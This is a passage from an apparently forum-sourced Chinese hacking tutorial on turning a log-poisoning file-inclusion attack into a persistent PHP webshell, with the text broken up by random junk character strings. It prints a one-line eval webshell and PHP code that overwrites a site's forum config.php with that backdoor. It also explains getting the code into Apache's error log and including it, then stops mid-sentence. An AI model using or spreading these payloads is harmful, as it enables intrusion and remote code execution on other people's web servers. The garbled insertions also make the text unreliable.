因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

比如还是这句一句话木马 - n1 `) f7 R6 V0 j9 U: }
<?eval($_POST[cmd]);?> . A6 y9 v, a/ Y1 }
+ l4 n6 M# V* U0 H. A
到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句， / W/ D7 B0 g E6 m& k: E* e
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
) o8 o' w) _3 D% d2 F- w, z) M/ m- D" x
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); , c' C6 H: l* h4 w9 g6 L$ A5 w. f
fclose($fp);?> //在config.php里写入一句木马语句
% b/ A6 T+ l* h) o+ \
) C- m3 Y9 D1 {- e我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
! c$ d" }6 E- m* c转换为
